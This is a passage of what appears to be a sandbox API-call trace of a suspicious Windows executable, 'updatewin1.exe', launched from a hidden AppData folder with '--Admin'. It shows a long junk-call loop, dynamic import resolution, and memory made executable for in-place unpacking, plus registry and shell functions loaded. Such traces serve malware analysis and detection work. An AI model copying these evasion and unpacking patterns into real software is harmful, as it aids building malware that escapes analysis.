(lpString=0x0) returned 0x0 [0055.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.614] AddAtomA (lpString=0x0) returned 0x0 [0055.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.615] AddAtomA (lpString=0x0) returned 0x0 [0055.615] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.615] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.616] AddAtomA (lpString=0x0) returned 0x0 [0055.616] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.616] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.617] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.617] AddAtomA (lpString=0x0) returned 0x0 [0055.617] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.618] AddAtomA (lpString=0x0) returned 0x0 [0055.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.618] AddAtomA (lpString=0x0) returned 0x0 [0055.618] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.618] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.636] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0055.636] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0055.636] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0055.636] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0055.636] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0055.636] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0055.636] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0055.636] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0055.636] SetErrorMode (uMode=0x400) returned 0x0 [0055.636] SetErrorMode (uMode=0x0) returned 0x400 [0055.637] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0055.688] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0055.691] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0055.718] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.719] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0055.719] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0055.719] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0055.719] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0055.719] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0055.719] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0055.719] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0055.719] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0055.720] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0055.721] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0055.722] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0055.723] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0055.724] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0055.724] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0055.724] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0055.724] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0055.724] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0055.724] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0055.724] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0055.724] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0055.724] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0055.724] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0055.724] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0055.724] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0055.724] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0055.724] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0055.725] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0055.725] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0055.725] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0055.725] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0055.725] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0055.725] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0055.725] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0055.728] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0055.728] atexit (param_1=0x5f63e0) returned 0 [0055.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0xae1f5c70, dwHighDateTime=0x1d54670)) [0055.728] GetCurrentThreadId () returned 0xb44 [0055.728] GetCurrentProcessId () returned 0xb40 [0055.728] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=17600553606) returned 1 [0055.728] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0055.728] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.728] GetLastError () returned 0x57 [0055.728] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.728] GetLastError () returned 0x57 [0055.728] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0055.728] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0055.728] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.728] GetLastError () returned 0x57 [0055.728] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0055.729] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0055.729] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.729] GetLastError () returned 0x57 [0055.729] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.729] GetLastError () returned 0x57 [0055.729] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0055.729] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0055.729] GetProcessHeap () returned 0x5e0000 [0055.729] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0055.729] GetLastError () returned 0x57 [0055.729] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0055.729] GetLastError () returned 0x57 [0055.729] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0055.729] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0055.729] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x364) returned 0x60a9f0 [0055.730] SetLastError (dwErrCode=0x57) [0055.730] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xc00) returned 0x60ad60 [0055.743] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0xb6809daa, hStdError=0xfffffffe)) [0055.743] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0055.743] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0055.743] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0055.743] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" --Admin" [0055.743] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" --Admin" [0055.743] GetACP () returned 0x4e4 [0055.743] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x220) returned 0x609eb0 [0055.743] IsValidCodePage (CodePage=0x4e4) returned 1 [0055.743] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0055.743] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0055.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0055.743] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0055.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.743] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 